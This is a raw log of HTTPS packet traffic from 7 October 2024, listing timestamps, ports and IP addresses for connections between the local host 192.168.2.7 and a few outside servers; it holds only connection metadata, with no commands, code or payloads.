Oct 7, 2024 18:43:24.401679993 CEST	49741	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:24.401699066 CEST	443	49741	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:24.401707888 CEST	443	49741	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:24.405397892 CEST	49746	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:24.405497074 CEST	443	49746	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:24.407166004 CEST	49746	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:24.407489061 CEST	49746	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:24.407526016 CEST	443	49746	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:24.411422968 CEST	443	49742	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:24.411499977 CEST	443	49742	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:24.411571026 CEST	49742	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:24.412085056 CEST	49742	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:24.412085056 CEST	49742	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:24.412091017 CEST	443	49742	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:24.412098885 CEST	443	49742	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:24.415767908 CEST	443	49743	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:24.415904999 CEST	443	49743	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:24.415978909 CEST	49743	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:24.417284012 CEST	49743	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:24.417298079 CEST	443	49743	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:24.422425032 CEST	49747	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:24.422458887 CEST	443	49747	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:24.422554970 CEST	49747	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:24.422894955 CEST	49747	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:24.422908068 CEST	443	49747	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:24.424541950 CEST	49748	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:24.424576998 CEST	443	49748	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:24.424941063 CEST	49748	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:24.425049067 CEST	49748	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:24.425060034 CEST	443	49748	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:24.521579027 CEST	443	49744	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:24.550123930 CEST	49749	443	192.168.2.7	104.21.74.165
Oct 7, 2024 18:43:24.550162077 CEST	443	49749	104.21.74.165	192.168.2.7
Oct 7, 2024 18:43:24.550252914 CEST	49749	443	192.168.2.7	104.21.74.165
Oct 7, 2024 18:43:24.554857969 CEST	49749	443	192.168.2.7	104.21.74.165
Oct 7, 2024 18:43:24.554872990 CEST	443	49749	104.21.74.165	192.168.2.7
Oct 7, 2024 18:43:24.568991899 CEST	49744	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:24.597836018 CEST	49744	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:24.597843885 CEST	443	49744	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:24.598436117 CEST	49744	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:24.598439932 CEST	443	49744	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:24.645831108 CEST	443	49745	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:24.656280041 CEST	49745	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:24.656371117 CEST	443	49745	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:24.657088995 CEST	49745	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:24.657104015 CEST	443	49745	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:24.919214010 CEST	443	49744	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:24.919655085 CEST	443	49744	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:24.919730902 CEST	49744	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:24.959908962 CEST	49744	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:24.959933043 CEST	443	49744	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:24.959950924 CEST	49744	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:24.959958076 CEST	443	49744	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:24.978445053 CEST	443	49745	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:24.978617907 CEST	443	49745	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:24.978849888 CEST	49745	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:25.005012989 CEST	49745	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:25.005013943 CEST	49745	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:25.005086899 CEST	443	49745	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:25.005122900 CEST	443	49745	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:25.008188963 CEST	49750	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:25.008219957 CEST	443	49750	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:25.008532047 CEST	49750	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:25.022232056 CEST	49750	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:25.022243023 CEST	443	49750	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:25.031024933 CEST	49751	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:25.031058073 CEST	443	49751	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:25.031672001 CEST	49751	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:25.033822060 CEST	49751	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:25.033839941 CEST	443	49751	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:25.372843981 CEST	49698	443	192.168.2.7	104.98.116.138
Oct 7, 2024 18:43:25.373356104 CEST	49753	443	192.168.2.7	104.98.116.138
Oct 7, 2024 18:43:25.373382092 CEST	443	49753	104.98.116.138	192.168.2.7
Oct 7, 2024 18:43:25.373441935 CEST	49753	443	192.168.2.7	104.98.116.138
Oct 7, 2024 18:43:25.377675056 CEST	443	49698	104.98.116.138	192.168.2.7
Oct 7, 2024 18:43:25.383501053 CEST	49753	443	192.168.2.7	104.98.116.138
Oct 7, 2024 18:43:25.383514881 CEST	443	49753	104.98.116.138	192.168.2.7
Oct 7, 2024 18:43:25.412528038 CEST	443	49749	104.21.74.165	192.168.2.7
Oct 7, 2024 18:43:25.412602901 CEST	49749	443	192.168.2.7	104.21.74.165
Oct 7, 2024 18:43:25.417747974 CEST	49749	443	192.168.2.7	104.21.74.165
Oct 7, 2024 18:43:25.417757988 CEST	443	49749	104.21.74.165	192.168.2.7
Oct 7, 2024 18:43:25.418150902 CEST	443	49749	104.21.74.165	192.168.2.7
Oct 7, 2024 18:43:25.459626913 CEST	49749	443	192.168.2.7	104.21.74.165
Oct 7, 2024 18:43:25.497503042 CEST	443	49746	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:25.498402119 CEST	443	49748	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:25.501303911 CEST	49749	443	192.168.2.7	104.21.74.165
Oct 7, 2024 18:43:25.501329899 CEST	49749	443	192.168.2.7	104.21.74.165
Oct 7, 2024 18:43:25.501693964 CEST	443	49749	104.21.74.165	192.168.2.7
Oct 7, 2024 18:43:25.503495932 CEST	49746	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:25.503561020 CEST	443	49746	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:25.504113913 CEST	49746	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:25.504129887 CEST	443	49746	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:25.504430056 CEST	49748	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:25.504447937 CEST	443	49748	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:25.504971027 CEST	49748	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:25.504976988 CEST	443	49748	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:25.518795013 CEST	443	49747	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:25.519483089 CEST	49747	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:25.519542933 CEST	443	49747	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:25.520246029 CEST	49747	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:25.520256042 CEST	443	49747	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:25.626562119 CEST	443	49748	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:25.626629114 CEST	443	49748	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:25.626971006 CEST	49748	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:25.626971006 CEST	49748	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:25.627024889 CEST	49748	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:25.627043009 CEST	443	49748	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:25.630342007 CEST	49755	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:25.630367994 CEST	443	49755	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:25.630781889 CEST	49755	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:25.630781889 CEST	49755	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:25.630805969 CEST	443	49755	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:25.631170988 CEST	443	49746	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:25.631323099 CEST	443	49746	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:25.631510019 CEST	49746	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:25.631510019 CEST	49746	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:25.631510019 CEST	49746	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:25.634006023 CEST	49756	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:25.634048939 CEST	443	49756	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:25.634268999 CEST	49756	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:25.634413958 CEST	49756	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:25.634432077 CEST	443	49756	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:25.650759935 CEST	443	49747	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:25.650882006 CEST	443	49747	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:25.651190996 CEST	49747	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:25.651253939 CEST	49747	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:25.651254892 CEST	49747	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:25.651274920 CEST	443	49747	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:25.651288986 CEST	443	49747	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:25.653438091 CEST	49757	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:25.653465986 CEST	443	49757	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:25.653534889 CEST	49757	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:25.653656006 CEST	49757	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:25.653666973 CEST	443	49757	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:25.790581942 CEST	443	49750	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:25.791243076 CEST	49750	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:25.791260004 CEST	443	49750	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:25.791794062 CEST	49750	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:25.791800976 CEST	443	49750	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:25.812164068 CEST	443	49751	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:25.813287020 CEST	49751	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:25.813287020 CEST	49751	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:25.813312054 CEST	443	49751	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:25.813338041 CEST	443	49751	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:25.886205912 CEST	443	49750	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:25.886265039 CEST	443	49750	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:25.886392117 CEST	49750	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:25.886612892 CEST	49750	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:25.886632919 CEST	443	49750	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:25.886657000 CEST	49750	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:25.886667967 CEST	443	49750	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:25.890072107 CEST	49758	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:25.890105963 CEST	443	49758	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:25.890214920 CEST	49758	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:25.890467882 CEST	49758	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:25.890480042 CEST	443	49758	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:25.908368111 CEST	443	49751	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:25.908514977 CEST	443	49751	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:25.908592939 CEST	49751	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:25.908685923 CEST	49751	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:25.908685923 CEST	49751	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:25.908705950 CEST	443	49751	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:25.908718109 CEST	443	49751	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:25.911948919 CEST	49759	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:25.911987066 CEST	443	49759	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:25.912060022 CEST	49759	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:25.912231922 CEST	49759	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:25.912247896 CEST	443	49759	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:25.944113970 CEST	49746	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:25.944183111 CEST	443	49746	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:26.013072968 CEST	443	49749	104.21.74.165	192.168.2.7
Oct 7, 2024 18:43:26.013314962 CEST	443	49749	104.21.74.165	192.168.2.7
Oct 7, 2024 18:43:26.013461113 CEST	49749	443	192.168.2.7	104.21.74.165
Oct 7, 2024 18:43:26.015435934 CEST	49749	443	192.168.2.7	104.21.74.165
Oct 7, 2024 18:43:26.015451908 CEST	443	49749	104.21.74.165	192.168.2.7
Oct 7, 2024 18:43:26.015465021 CEST	49749	443	192.168.2.7	104.21.74.165
Oct 7, 2024 18:43:26.015470028 CEST	443	49749	104.21.74.165	192.168.2.7
Oct 7, 2024 18:43:26.092091084 CEST	49760	443	192.168.2.7	188.114.96.3
Oct 7, 2024 18:43:26.092125893 CEST	443	49760	188.114.96.3	192.168.2.7
Oct 7, 2024 18:43:26.092323065 CEST	49760	443	192.168.2.7	188.114.96.3
Oct 7, 2024 18:43:26.092598915 CEST	49760	443	192.168.2.7	188.114.96.3
Oct 7, 2024 18:43:26.092611074 CEST	443	49760	188.114.96.3	192.168.2.7
Oct 7, 2024 18:43:26.259644032 CEST	443	49756	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:26.260138988 CEST	49756	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:26.260154009 CEST	443	49756	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:26.260850906 CEST	49756	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:26.260857105 CEST	443	49756	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:26.272696972 CEST	443	49757	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:26.273185968 CEST	49757	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:26.273215055 CEST	443	49757	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:26.273710966 CEST	49757	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:26.273716927 CEST	443	49757	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:26.280184031 CEST	443	49755	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:26.280798912 CEST	49755	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:26.280822039 CEST	443	49755	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:26.281344891 CEST	49755	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:26.281351089 CEST	443	49755	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:26.463346004 CEST	443	49756	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:26.463547945 CEST	443	49756	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:26.463825941 CEST	49756	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:26.463881016 CEST	49756	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:26.463922977 CEST	443	49756	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:26.463951111 CEST	49756	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:26.463968039 CEST	443	49756	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:26.464150906 CEST	443	49757	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:26.464262962 CEST	443	49757	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:26.464329958 CEST	49757	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:26.465557098 CEST	49757	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:26.465578079 CEST	443	49757	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:26.468415022 CEST	49761	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:26.468445063 CEST	443	49761	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:26.468507051 CEST	49761	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:26.469063997 CEST	49761	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:26.469079018 CEST	443	49761	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:26.469284058 CEST	49762	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:26.469294071 CEST	443	49762	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:26.469364882 CEST	49762	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:26.469510078 CEST	49762	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:26.469516993 CEST	443	49762	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:26.469979048 CEST	443	49755	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:26.470058918 CEST	443	49755	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:26.470115900 CEST	49755	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:26.470304966 CEST	49755	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:26.470318079 CEST	443	49755	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:26.470328093 CEST	49755	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:26.470334053 CEST	443	49755	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:26.472539902 CEST	49763	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:26.472587109 CEST	443	49763	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:26.472776890 CEST	49763	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:26.472913980 CEST	49763	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:26.472946882 CEST	443	49763	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:26.633558989 CEST	443	49758	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:26.636924028 CEST	49758	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:26.636950970 CEST	443	49758	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:26.637727976 CEST	49758	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:26.637734890 CEST	443	49758	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:26.652482033 CEST	443	49760	188.114.96.3	192.168.2.7
Oct 7, 2024 18:43:26.652584076 CEST	49760	443	192.168.2.7	188.114.96.3
Oct 7, 2024 18:43:26.663933039 CEST	49760	443	192.168.2.7	188.114.96.3
Oct 7, 2024 18:43:26.663960934 CEST	443	49760	188.114.96.3	192.168.2.7
Oct 7, 2024 18:43:26.664947987 CEST	443	49760	188.114.96.3	192.168.2.7
Oct 7, 2024 18:43:26.666400909 CEST	49760	443	192.168.2.7	188.114.96.3
Oct 7, 2024 18:43:26.666425943 CEST	49760	443	192.168.2.7	188.114.96.3
Oct 7, 2024 18:43:26.666774035 CEST	443	49760	188.114.96.3	192.168.2.7
Oct 7, 2024 18:43:26.675986052 CEST	443	49759	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:26.676460981 CEST	49759	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:26.676491976 CEST	443	49759	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:26.677037001 CEST	49759	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:26.677043915 CEST	443	49759	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:26.731234074 CEST	443	49758	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:26.731302023 CEST	443	49758	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:26.731369972 CEST	49758	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:26.731827021 CEST	49758	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:26.731848955 CEST	443	49758	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:26.731861115 CEST	49758	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:26.731868029 CEST	443	49758	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:26.735266924 CEST	49764	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:26.735292912 CEST	443	49764	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:26.735388994 CEST	49764	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:26.735651970 CEST	49764	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:26.735666990 CEST	443	49764	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:26.775793076 CEST	443	49759	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:26.775868893 CEST	443	49759	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:26.776010990 CEST	49759	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:26.776180029 CEST	49759	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:26.776199102 CEST	443	49759	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:26.776211977 CEST	49759	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:26.776220083 CEST	443	49759	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:26.779411077 CEST	49765	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:26.779453993 CEST	443	49765	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:26.779530048 CEST	49765	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:26.779654026 CEST	49765	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:26.779670000 CEST	443	49765	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:26.785006046 CEST	443	49760	188.114.96.3	192.168.2.7
Oct 7, 2024 18:43:26.785132885 CEST	443	49760	188.114.96.3	192.168.2.7
Oct 7, 2024 18:43:26.785204887 CEST	49760	443	192.168.2.7	188.114.96.3
Oct 7, 2024 18:43:26.785218000 CEST	443	49760	188.114.96.3	192.168.2.7
Oct 7, 2024 18:43:26.785247087 CEST	443	49760	188.114.96.3	192.168.2.7
Oct 7, 2024 18:43:26.785299063 CEST	49760	443	192.168.2.7	188.114.96.3
Oct 7, 2024 18:43:26.785331011 CEST	443	49760	188.114.96.3	192.168.2.7
Oct 7, 2024 18:43:26.785531998 CEST	443	49760	188.114.96.3	192.168.2.7
Oct 7, 2024 18:43:26.785587072 CEST	49760	443	192.168.2.7	188.114.96.3
Oct 7, 2024 18:43:26.785687923 CEST	49760	443	192.168.2.7	188.114.96.3
Oct 7, 2024 18:43:26.785701036 CEST	443	49760	188.114.96.3	192.168.2.7
Oct 7, 2024 18:43:26.785716057 CEST	49760	443	192.168.2.7	188.114.96.3
Oct 7, 2024 18:43:26.785722017 CEST	443	49760	188.114.96.3	192.168.2.7
Oct 7, 2024 18:43:26.854204893 CEST	49766	443	192.168.2.7	188.114.96.3
Oct 7, 2024 18:43:26.854221106 CEST	443	49766	188.114.96.3	192.168.2.7
Oct 7, 2024 18:43:26.854310989 CEST	49766	443	192.168.2.7	188.114.96.3
Oct 7, 2024 18:43:26.854640961 CEST	49766	443	192.168.2.7	188.114.96.3
Oct 7, 2024 18:43:26.854654074 CEST	443	49766	188.114.96.3	192.168.2.7
Oct 7, 2024 18:43:27.296895981 CEST	443	49763	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:27.297549963 CEST	49763	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:27.297610998 CEST	443	49763	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:27.298053980 CEST	49763	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:27.298068047 CEST	443	49763	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:27.304142952 CEST	443	49761	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:27.304462910 CEST	443	49762	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:27.304687023 CEST	49761	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:27.304701090 CEST	443	49761	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:27.305094957 CEST	49762	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:27.305099964 CEST	443	49762	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:27.305146933 CEST	49761	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:27.305150032 CEST	443	49761	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:27.305480003 CEST	49762	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:27.305485010 CEST	443	49762	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:27.323462963 CEST	443	49766	188.114.96.3	192.168.2.7
Oct 7, 2024 18:43:27.323553085 CEST	49766	443	192.168.2.7	188.114.96.3
Oct 7, 2024 18:43:27.324934959 CEST	49766	443	192.168.2.7	188.114.96.3
Oct 7, 2024 18:43:27.324944973 CEST	443	49766	188.114.96.3	192.168.2.7
Oct 7, 2024 18:43:27.325263023 CEST	443	49766	188.114.96.3	192.168.2.7
Oct 7, 2024 18:43:27.326939106 CEST	49766	443	192.168.2.7	188.114.96.3
Oct 7, 2024 18:43:27.327037096 CEST	49766	443	192.168.2.7	188.114.96.3
Oct 7, 2024 18:43:27.327056885 CEST	443	49766	188.114.96.3	192.168.2.7
Oct 7, 2024 18:43:27.395189047 CEST	443	49763	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:27.395246983 CEST	443	49763	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:27.395308971 CEST	49763	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:27.395741940 CEST	49763	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:27.395759106 CEST	443	49763	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:27.395771980 CEST	49763	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:27.395780087 CEST	443	49763	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:27.398967028 CEST	49769	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:27.399002075 CEST	443	49769	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:27.399133921 CEST	49769	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:27.399372101 CEST	49769	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:27.399389982 CEST	443	49769	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:27.401746035 CEST	443	49761	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:27.401896000 CEST	443	49761	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:27.402144909 CEST	49761	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:27.402242899 CEST	49761	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:27.402257919 CEST	443	49761	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:27.402268887 CEST	49761	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:27.402273893 CEST	443	49761	13.107.246.45	192.168.2.7
